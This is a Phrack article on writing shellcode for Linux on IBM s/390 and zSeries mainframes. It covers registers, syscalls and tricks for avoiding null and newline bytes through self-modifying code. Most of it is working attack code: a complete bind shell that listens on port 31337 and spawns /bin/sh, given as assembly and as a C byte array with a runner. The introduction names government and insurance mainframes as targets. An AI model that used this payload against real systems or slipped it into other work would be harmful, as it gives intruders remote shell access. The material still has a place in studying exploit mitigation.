497 lines
20 KiB
Plaintext
497 lines
20 KiB
Plaintext
==Phrack Inc.==
|
|
|
|
Volume 0x0b, Issue 0x3b, Phile #0x0d of 0x12
|
|
|
|
|=----------------=[ Linux/390 shellcode development ]=------------------=|
|
|
|=-----------------------------------------------------------------------=|
|
|
|=-------=[ johnny cyberpunk <jcyberpunk@thehackerschoice.com> ]=--------=|
|
|
|
|
|
|
--[ Contents
|
|
|
|
1 - Introduction
|
|
|
|
2 - History and facts
|
|
2.1 - Registers
|
|
2.2 - Instruction set
|
|
2.3 - Syscalls
|
|
2.4 - The native code
|
|
2.5 - Avoiding the evil 0x00 and 0x0a
|
|
2.6 - The final code
|
|
|
|
3 - References
|
|
|
|
|
|
|
|
--[ 1 - Introduction
|
|
|
|
Since Linux/390 has been released by IBM more and more b0xes of this
|
|
type can be found in the wild. A good reason for a hacker to get a closer
|
|
look on how vulnerable services can be exploited on a mainframe. Remember,
|
|
who are the owners of mainframes ? Yeah, big computer centres, insurances
|
|
or goverments. Well, in this article I'll uncover how to write the bad code
|
|
(aka shellcode). The bind-shellcode at the end should be taken as an
|
|
example. Other shellcode and exploit against some known vulnerabilities can
|
|
be found on a seperate link (see References) in the next few weeks.
|
|
|
|
Suggestions, improvements or flames can be send directly to the email
|
|
address posted in the header of this article. My gpg-key can be found at
|
|
the document bottom.
|
|
|
|
|
|
--[ 2 - History and facts
|
|
|
|
In late 1998 a small team of IBM developers from Boeblingen/Germany
|
|
started to port Linux to mainframes. One year later in December 1999 the
|
|
first version has been published for the IBM s/390. There are two versions
|
|
available:
|
|
|
|
A 32 bit version, referred to as Linux on s/390 and a 64 bit version,
|
|
referred to as Linux on zSeries. Supported distros are Suse, Redhat and
|
|
TurboLinux. Linux for s/390 is based on the kernel 2.2, the zSeries is
|
|
based on kernel 2.4. There are different ways to run Linux:
|
|
|
|
Native - Linux runs on the entire machine, with no other OS
|
|
LPAR - Logical PARtition): The hardware can be logically
|
|
partitioned, for example, one LPAR hosts a VM/VSE
|
|
environment and another LPAR hosts Linux.
|
|
VM/ESA Guest - means that a customer can also run Linux in a virtual
|
|
machine
|
|
|
|
The binaries are in ELF format (big endianess).
|
|
|
|
|
|
|
|
|
|
----[ 2.1 - Registers
|
|
|
|
For our shellcode development we really don't need the whole bunch of
|
|
registers the s/390 or zSeries has. The most interesting for us are the
|
|
registers %r0-%r15. Anyway I'll list some others here for to get an
|
|
overview.
|
|
|
|
General propose registers :
|
|
%r0-%r15 or gpr0-gpr15 are used for addressing and arithmetic
|
|
|
|
Control registers :
|
|
cr0-cr15 are only used by kernel for irq control, memory
|
|
management, debugging control ...
|
|
|
|
Access registers :
|
|
ar0-ar15 are normally not used by programs, but good for
|
|
temporary storage
|
|
|
|
Floating point registers :
|
|
fp0-fp15 are IEEE and HFP floating ( Linux only uses IEEE )
|
|
|
|
PSW ( Programm Status Word ) :
|
|
is the most important register and serves the roles of a program
|
|
counter, memory space designator and condition code register.
|
|
For those who wanna know more about this register, should take
|
|
a closer look on the references at the bottom.
|
|
|
|
|
|
|
|
|
|
----[ 2.2 - Instruction set
|
|
|
|
Next I'll show you some useful instructions we will need, while developing
|
|
our shellcode.
|
|
|
|
|
|
Instruction Example
|
|
---------------------------------------------------------------------------
|
|
basr (branch and save) %r1,0 # save value 0 to %r1
|
|
lhi (load h/word immediate) lhi %r4,2 # load value 2 into %r4
|
|
la (load address) la %r3,120(%r15) # load address from
|
|
# %r15+120 into %r3
|
|
lr (load register) lr %r4,%r9 # load value from %r9
|
|
# into %r4
|
|
stc (store character) stc %r6,120(%r15) # store 1 character from
|
|
# %r6 to %r15+120
|
|
sth (store halfword) sth %r3,122(%r15) # store 2 bytes from
|
|
# %r3 to %r15+122
|
|
ar (add) ar %r6,%r10 # add value in %r10 ->%r6
|
|
xr (exclusive or) xr %r2,%r2 # 0x00 trick :)
|
|
svc (service call) svc 1 # exit
|
|
|
|
|
|
|
|
|
|
----[ 2.3 - Syscalls
|
|
|
|
On Linux for s/390 or zSeries syscalls are done by using the
|
|
instruction SVC with it's opcode 0x0a ! This is no good message for
|
|
shellcoders, coz 0x0a is a special character in a lot of services. But
|
|
before i start explaining how we can avoid using this call let's have a
|
|
look on how our OS is using the syscalls.
|
|
|
|
The first four parameters of a syscall are delivered to the registers
|
|
%r2-%r5 and the resultcode can be found in %r2 after the SVC call.
|
|
|
|
Example of an execve call:
|
|
|
|
basr %r1,0
|
|
base:
|
|
la %r2,exec-base(%r1)
|
|
la %r3,arg-base(%r1)
|
|
la %r4,tonull-base(%r1)
|
|
svc 11
|
|
|
|
exec:
|
|
.string "/bin//sh"
|
|
arg:
|
|
.long exec
|
|
tonull:
|
|
.long 0x0
|
|
|
|
|
|
A special case is the SVC call 102 (SYS_SOCKET). First we have to feed
|
|
the register %r2 with the desired function ( socket, bind, listen, accept,
|
|
....) and %r3 points to a list of parameters this function needs. Every
|
|
parameter in this list has its own u_long value.
|
|
|
|
And again an example of a socket() call :
|
|
|
|
lhi %r2,2 # domain
|
|
lhi %r3,1 # type
|
|
xr %r4,%r4 # protocol
|
|
stm %r2,%r4,128(%r15) # store %r2 - %r4
|
|
lhi %r2,1 # function socket()
|
|
la %r3,128(%r15) # pointer to the API values
|
|
svc 102 # SOCKETCALL
|
|
lr %r7,%r2 # save filedescriptor to %r7
|
|
|
|
|
|
|
|
|
|
|
|
----[ 2.4 - The native code
|
|
|
|
So now, here is a sample of a complete portbindshell in native style :
|
|
|
|
.globl _start
|
|
|
|
_start:
|
|
basr %r1,0 # our base-address
|
|
base:
|
|
|
|
lhi %r2,2 # AF_INET
|
|
sth %r2,120(%r15)
|
|
lhi %r3,31337 # port
|
|
sth %r3,122(%r15)
|
|
xr %r4,%r4 # INADDR_ANY
|
|
st %r4,124(%r15) # 120-127 is struct sockaddr *
|
|
lhi %r3,1 # SOCK_STREAM
|
|
stm %r2,%r4,128(%r15) # store %r2-%r4, our API values
|
|
lhi %r2,1 # SOCKET_socket
|
|
la %r3,128(%r15) # pointer to the API values
|
|
svc 102 # SOCKETCALL
|
|
lr %r7,%r2 # save socket fd to %r7
|
|
la %r3,120(%r15) # pointer to struct sockaddr *
|
|
lhi %r9,16 # save value 16 to %r9
|
|
lr %r4,%r9 # sizeof address
|
|
stm %r2,%r4,128(%r15) # store %r2-%r4, our API values
|
|
lhi %r2,2 # SOCKET_bind
|
|
la %r3,128(%r15) # pointer to the API values
|
|
svc 102 # SOCKETCALL
|
|
lr %r2,%r7 # get saved socket fd
|
|
lhi %r3,1 # MAXNUMBER
|
|
stm %r2,%r3,128(%r15) # store %r2-%r3, our API values
|
|
lhi %r2,4 # SOCKET_listen
|
|
la %r3,128(%r15) # pointer to the API values
|
|
svc 102 # SOCKETCALL
|
|
lr %r2,%r7 # get saved socket fd
|
|
la %r3,120(%r15) # pointer to struct sockaddr *
|
|
stm %r2,%r3,128(%r15) # store %r2-%r3,our API values
|
|
st %r9,136(%r15) # %r9 = 16, this case: fromlen
|
|
lhi %r2,5 # SOCKET_accept
|
|
la %r3,128(%r15) # pointer to the API values
|
|
svc 102 # SOCKETCALL
|
|
xr %r3,%r3 # the following shit
|
|
svc 63 # duplicates stdin, stdout
|
|
ahi %r3,1 # stderr
|
|
svc 63 # DUP2
|
|
ahi %r3,1
|
|
svc 63
|
|
la %r2,exec-base(%r1) # point to /bin/sh
|
|
la %r3,arg-base(%r1) # points to address of /bin/sh
|
|
la %r4,tonull-base(%r1) # point to envp value
|
|
svc 11 # execve
|
|
slr %r2,%r2
|
|
svc 1 # exit
|
|
|
|
exec:
|
|
.string "/bin//sh"
|
|
arg:
|
|
.long exec
|
|
tonull:
|
|
.long 0x0
|
|
|
|
|
|
|
|
|
|
----[ 2.5 - Avoiding 0x00 and 0x0a
|
|
|
|
To get a clean working shellcode we have two things to bypass. First
|
|
avoiding 0x00 and second avoiding 0x0a.
|
|
|
|
Here is our first case :
|
|
|
|
a7 28 00 02 lhi %r2,02
|
|
|
|
And here is my solution :
|
|
|
|
a7 a8 fb b4 lhi %r10,-1100
|
|
a7 28 04 4e lhi %r2,1102
|
|
1a 2a ar %r2,%r10
|
|
|
|
I statically define a value -1100 in %r10 to use it multiple times.
|
|
After that i load my wanted value plus 1100 and in the next instruction
|
|
the subtraction of 1102-1100 gives me the real value. Quite easy.
|
|
|
|
To get around the next problem we have to use selfmodifing code:
|
|
|
|
svc:
|
|
.long 0x0b6607fe <---- will be svc 66, br %r14 after
|
|
code modification
|
|
|
|
Look at the first byte, it has the value 0x0b at the moment. The
|
|
following code changes this value to 0x0a:
|
|
|
|
basr %r1,0 # our base-address
|
|
la %r9,svc-base(%r1) # load address of svc subroutine
|
|
lhi %r6,1110 # selfmodifing
|
|
lhi %r10,-1100 # code is used
|
|
ar %r6,%r10 # 1110 - 1100 = \x0a opcode SVC
|
|
stc %r6,svc-base(%r1) # store svc opcode
|
|
|
|
Finally the modified code looks as follows :
|
|
|
|
0a 66 svc 66
|
|
07 fe br %r14
|
|
|
|
To branch to this subroutine we use the following command :
|
|
|
|
basr %r14,%r9 # branch to subroutine SVC 102
|
|
|
|
The Register %r9 has the address of the subroutine and %r14 contains
|
|
the address where to jump back.
|
|
|
|
|
|
|
|
|
|
----[ 2.6 - The final code
|
|
|
|
Finally we made it, our shellcode is ready for a first test:
|
|
|
|
.globl _start
|
|
|
|
_start:
|
|
basr %r1,0 # our base-address
|
|
base:
|
|
la %r9,svc-base(%r1) # load address of svc subroutine
|
|
lhi %r6,1110 # selfmodifing
|
|
lhi %r10,-1100 # code is used
|
|
ar %r6,%r10 # 1110 - 1100 = \x0a opcode SVC
|
|
stc %r6,svc-base(%r1) # store svc opcode
|
|
lhi %r2,1102 # portbind code always uses
|
|
ar %r2,%r10 # real value-1100 (here AF_INET)
|
|
sth %r2,120(%r15)
|
|
lhi %r3,31337 # port
|
|
sth %r3,122(%r15)
|
|
xr %r4,%r4 # INADDR_ANY
|
|
st %r4,124(%r15) # 120-127 is struct sockaddr *
|
|
lhi %r3,1101 # SOCK_STREAM
|
|
ar %r3,%r10
|
|
stm %r2,%r4,128(%r15) # store %r2-%r4, our API values
|
|
lhi %r2,1101 # SOCKET_socket
|
|
ar %r2,%r10
|
|
la %r3,128(%r15) # pointer to the API values
|
|
basr %r14,%r9 # branch to subroutine SVC 102
|
|
lr %r7,%r2 # save socket fd to %r7
|
|
la %r3,120(%r15) # pointer to struct sockaddr *
|
|
lhi %r8,1116
|
|
ar %r8,%r10 # value 16 is stored in %r8
|
|
lr %r4,%r8 # size of address
|
|
stm %r2,%r4,128(%r15) # store %r2-%r4, our API values
|
|
lhi %r2,1102 # SOCKET_bind
|
|
ar %r2,%r10
|
|
la %r3,128(%r15) # pointer to the API values
|
|
basr %r14,%r9 # branch to subroutine SVC 102
|
|
lr %r2,%r7 # get saved socket fd
|
|
lhi %r3,1101 # MAXNUMBER
|
|
ar %r3,%r10
|
|
stm %r2,%r3,128(%r15) # store %r2-%r3, our API values
|
|
lhi %r2,1104 # SOCKET_listen
|
|
ar %r2,%r10
|
|
la %r3,128(%r15) # pointer to the API values
|
|
basr %r14,%r9 # branch to subroutine SVC 102
|
|
lr %r2,%r7 # get saved socket fd
|
|
la %r3,120(%r15) # pointer to struct sockaddr *
|
|
stm %r2,%r3,128(%r15) # store %r2-%r3, our API values
|
|
st %r8,136(%r15) # %r8 = 16, in this case fromlen
|
|
lhi %r2,1105 # SOCKET_accept
|
|
ar %r2,%r10
|
|
la %r3,128(%r15) # pointer to the API values
|
|
basr %r14,%r9 # branch to subroutine SVC 102
|
|
lhi %r6,1163 # initiate SVC 63 = DUP2
|
|
ar %r6,%r10
|
|
stc %r6,svc+1-base(%r1) # modify subroutine to SVC 63
|
|
lhi %r3,1102 # the following shit
|
|
ar %r3,%r10 # duplicates
|
|
basr %r14,%r9 # stdin, stdout
|
|
ahi %r3,-1 # stderr
|
|
basr %r14,%r9 # SVC 63 = DUP2
|
|
ahi %r3,-1
|
|
basr %r14,%r9
|
|
lhi %r6,1111 # initiate SVC 11 = execve
|
|
ar %r6,%r10
|
|
stc %r6,svc+1-base(%r1) # modify subroutine to SVC 11
|
|
la %r2,exec-base(%r1) # point to /bin/sh
|
|
st %r2,exec+8-base(%r1) # save address to /bin/sh
|
|
la %r3,exec+8-base(%r1) # points to address of /bin/sh
|
|
xr %r4,%r4 # 0x00 is envp
|
|
stc %r4,exec+7-base(%r1) # fix last byte /bin/sh\\ to 0x00
|
|
st %r4,exec+12-base(%r1) # store 0x00 value for envp
|
|
la %r4,exec+12-base(%r1) # point to envp value
|
|
basr %r14,%r9 # branch to subroutine SVC 11
|
|
svc:
|
|
.long 0x0b6607fe # our subroutine SVC n + br %r14
|
|
exec:
|
|
.string "/bin/sh\\"
|
|
|
|
|
|
In a C-code environment it looks like this :
|
|
|
|
char shellcode[]=
|
|
"\x0d\x10" /* basr %r1,%r0 */
|
|
"\x41\x90\x10\xd4" /* la %r9,212(%r1) */
|
|
"\xa7\x68\x04\x56" /* lhi %r6,1110 */
|
|
"\xa7\xa8\xfb\xb4" /* lhi %r10,-1100 */
|
|
"\x1a\x6a" /* ar %r6,%r10 */
|
|
"\x42\x60\x10\xd4" /* stc %r6,212(%r1) */
|
|
"\xa7\x28\x04\x4e" /* lhi %r2,1102 */
|
|
"\x1a\x2a" /* ar %r2,%r10 */
|
|
"\x40\x20\xf0\x78" /* sth %r2,120(%r15) */
|
|
"\xa7\x38\x7a\x69" /* lhi %r3,31337 */
|
|
"\x40\x30\xf0\x7a" /* sth %r3,122(%r15) */
|
|
"\x17\x44" /* xr %r4,%r4 */
|
|
"\x50\x40\xf0\x7c" /* st %r4,124(%r15) */
|
|
"\xa7\x38\x04\x4d" /* lhi %r3,1101 */
|
|
"\x1a\x3a" /* ar %r3,%r10 */
|
|
"\x90\x24\xf0\x80" /* stm %r2,%r4,128(%r15) */
|
|
"\xa7\x28\x04\x4d" /* lhi %r2,1101 */
|
|
"\x1a\x2a" /* ar %r2,%r10 */
|
|
"\x41\x30\xf0\x80" /* la %r3,128(%r15) */
|
|
"\x0d\xe9" /* basr %r14,%r9 */
|
|
"\x18\x72" /* lr %r7,%r2 */
|
|
"\x41\x30\xf0\x78" /* la %r3,120(%r15) */
|
|
"\xa7\x88\x04\x5c" /* lhi %r8,1116 */
|
|
"\x1a\x8a" /* ar %r8,%r10 */
|
|
"\x18\x48" /* lr %r4,%r8 */
|
|
"\x90\x24\xf0\x80" /* stm %r2,%r4,128(%r15) */
|
|
"\xa7\x28\x04\x4e" /* lhi %r2,1102 */
|
|
"\x1a\x2a" /* ar %r2,%r10 */
|
|
"\x41\x30\xf0\x80" /* la %r3,128(%r15) */
|
|
"\x0d\xe9" /* basr %r14,%r9 */
|
|
"\x18\x27" /* lr %r2,%r7 */
|
|
"\xa7\x38\x04\x4d" /* lhi %r3,1101 */
|
|
"\x1a\x3a" /* ar %r3,%r10 */
|
|
"\x90\x23\xf0\x80" /* stm %r2,%r3,128(%r15) */
|
|
"\xa7\x28\x04\x50" /* lhi %r2,1104 */
|
|
"\x1a\x2a" /* ar %r2,%r10 */
|
|
"\x41\x30\xf0\x80" /* la %r3,128(%r15) */
|
|
"\x0d\xe9" /* basr %r14,%r9 */
|
|
"\x18\x27" /* lr %r2,%r7 */
|
|
"\x41\x30\xf0\x78" /* la %r3,120(%r15) */
|
|
"\x90\x23\xf0\x80" /* stm %r2,%r3,128(%r15) */
|
|
"\x50\x80\xf0\x88" /* st %r8,136(%r15) */
|
|
"\xa7\x28\x04\x51" /* lhi %r2,1105 */
|
|
"\x1a\x2a" /* ar %r2,%r10 */
|
|
"\x41\x30\xf0\x80" /* la %r3,128(%r15) */
|
|
"\x0d\xe9" /* basr %r14,%r9 */
|
|
"\xa7\x68\x04\x8b" /* lhi %r6,1163 */
|
|
"\x1a\x6a" /* ar %r6,%r10 */
|
|
"\x42\x60\x10\xd5" /* stc %r6,213(%r1) */
|
|
"\xa7\x38\x04\x4e" /* lhi %r3,1102 */
|
|
"\x1a\x3a" /* ar %r3,%r10 */
|
|
"\x0d\xe9" /* basr %r14,%r9 */
|
|
"\xa7\x3a\xff\xff" /* ahi %r3,-1 */
|
|
"\x0d\xe9" /* basr %r14,%r9 */
|
|
"\xa7\x3a\xff\xff" /* ahi %r3,-1 */
|
|
"\x0d\xe9" /* basr %r14,%r9 */
|
|
"\xa7\x68\x04\x57" /* lhi %r6,1111 */
|
|
"\x1a\x6a" /* ar %r6,%r10 */
|
|
"\x42\x60\x10\xd5" /* stc %r6,213(%r1) */
|
|
"\x41\x20\x10\xd8" /* la %r2,216(%r1) */
|
|
"\x50\x20\x10\xe0" /* st %r2,224(%r1) */
|
|
"\x41\x30\x10\xe0" /* la %r3,224(%r1) */
|
|
"\x17\x44" /* xr %r4,%r4 */
|
|
"\x42\x40\x10\xdf" /* stc %r4,223(%r1) */
|
|
"\x50\x40\x10\xe4" /* st %r4,228(%r1) */
|
|
"\x41\x40\x10\xe4" /* la %r4,228(%r1) */
|
|
"\x0d\xe9" /* basr %r14,%r9 */
|
|
"\x0b\x66" /* svc 102 <--- after modification */
|
|
"\x07\xfe" /* br %r14 */
|
|
"\x2f\x62\x69\x6e" /* /bin */
|
|
"\x2f\x73\x68\x5c"; /* /sh\ */
|
|
|
|
main()
|
|
{
|
|
void (*z)()=(void*)shellcode;
|
|
z();
|
|
}
|
|
|
|
|
|
|
|
|
|
--[ 3 - References:
|
|
|
|
|
|
[1] z/Architecture Principles of Operation (SA22-7832-00)
|
|
http://publibz.boulder.ibm.com/epubs/pdf/dz9zr000.pdf
|
|
|
|
[2] Linux for S/390 ( SG24-4987-00 )
|
|
http://www.redbooks.ibm.com/pubs/pdfs/redbooks/sg244987.pdf
|
|
|
|
[3] LINUX for S/390 ELF Application Binary Interface Supplement
|
|
http://oss.software.ibm.com/linux390/docu/l390abi0.pdf
|
|
|
|
[4] Example exploits
|
|
http://www.thehackerschoice.com/misc/sploits/
|
|
|
|
-----BEGIN PGP PUBLIC KEY BLOCK-----
|
|
Version: GnuPG v1.0.6 (GNU/Linux)
|
|
Comment: Weitere Infos: siehe http://www.gnupg.org
|
|
|
|
mQGiBDzw5yMRBACGJ1o25Bfbb6mBkP2+qwd0eCTvCmC5uJGdXWOW8BbQwDHkoO4h
|
|
sdouA+0JdlTFIQriCZhZWbspNsWEpXPOAW8vG3fSqIUqiDe6Aj21h+BnW0WEqx9t
|
|
8TkooEVS3SL34wiDCig3cQtmvAIj0C9g4pj5B/QwHJYrWNFoAxc2SW1lXwCg8Wk9
|
|
LawvHW+Xqnc6n/w5Oo8IpNsD/2Lp4fvQFiTvN22Jd63nCQ75A64fB7mH7ZUsVPYy
|
|
BctYXM4GhcHx7zfOhAbJQNWoNmYGiftVr9UvO9GSnG+Y9jq6I16qOn7T7dIZUEpL
|
|
F5FevEFTyrtDGYmBhGv9hwtbz3CI9n9gpZxz1xYTbDHxkVIiTMlcNR3GIJRPfo5B
|
|
a7u4A/9ncKqRx2HbRkaj39zugC6Y28z9lSimGzu7PTVw3bxDbObgi4CyHcjnHe+j
|
|
DResuKGgdyEf+d07ofbFEOdQjgaDx1mmswS4pcILKOyRdQMtdbgSdyPlJw5KGHLX
|
|
G0hrHV/Uhgok3W6nC43ZvPWbd3HVfOIU8jDTRgWaRDjGc45dtbQkam9obm55IGN5
|
|
YmVycHVuayA8am9obmN5YnBrQGdteC5uZXQ+iFcEExECABcFAjzw5yMFCwcKAwQD
|
|
FQMCAxYCAQIXgAAKCRD3c5EGutq/jMW7AJ9OSmrB+0vMgPfVOT4edV7C++RNHwCf
|
|
byT/qKeSawxasF8g4HeX33fSPe25Ag0EPPDnrRAIALdcTn8E2Z8Z4Ua4p8fjwXNO
|
|
iP6GOANUN5XLpmscv9v5ErPfK+NM2ARb7O7rQJfLkmKV8voPNj4lPUUyltGeOhzj
|
|
t86I5p68RRSvO5JKTW+riZamaD8lB84YqLzmt9OuzuOeAJCq3GuQtPMyrNuOkPL9
|
|
nX51EgnLnYaUYAkysAhYLhlrye/3maNdjtn2T63MoJauAoB4TpKvegsGsf1pA5mj
|
|
y9fuG6zGnWt8XpVSdD2W3PUJB+Q7J3On35byebIKiuGsti6Y5L0ZSDlW2rveZp9g
|
|
eRSQz06j+mxAooTUMBBJwMmXjHm5nTgr5OX/8mpb+I73MGhtssRr+JW+EWSLQN8A
|
|
AwcH/iqRCMmPB/yiMhFrEPUMNBsZOJ+VK3PnUNLbAPtHz7E2ZmEpTgdvLR3tjHTC
|
|
vZO6k40H1BkodmdFkCHEwzhWwe8P3a+wgW2LnPCM6tfPEfp9kPXD43UlTLWLL4RF
|
|
cPmyrs45B2uht7aE3Pe0SgbsnWAej87Stwb+ezOmngmrRvZKnYREVR1RHRRsH3l6
|
|
C4rexD3uHjFNdEXieW97xHG71YpOVDX6slCK2SumfxzQAEZC2n7/DqwPd6Z/abAf
|
|
Ay9WmTpqBFd2FApUtZ1h8cpS6MYb6A5R2BDJQl1hN2pQFNzIh8chjVdQc67dKiay
|
|
R/g0Epg0thiVAecaloCJlJE8b3OIRgQYEQIABgUCPPDnrQAKCRD3c5EGutq/jNuP
|
|
AJ979IDls926vsxlhRA5Y8G0hLyDAwCgo8eWQWI7Y+QVfwBG8XCzei4oAiI=
|
|
=2B7h
|
|
-----END PGP PUBLIC KEY BLOCK-----
|
|
|
|
|
|
|=[ EOF ]=---------------------------------------------------------------=|
|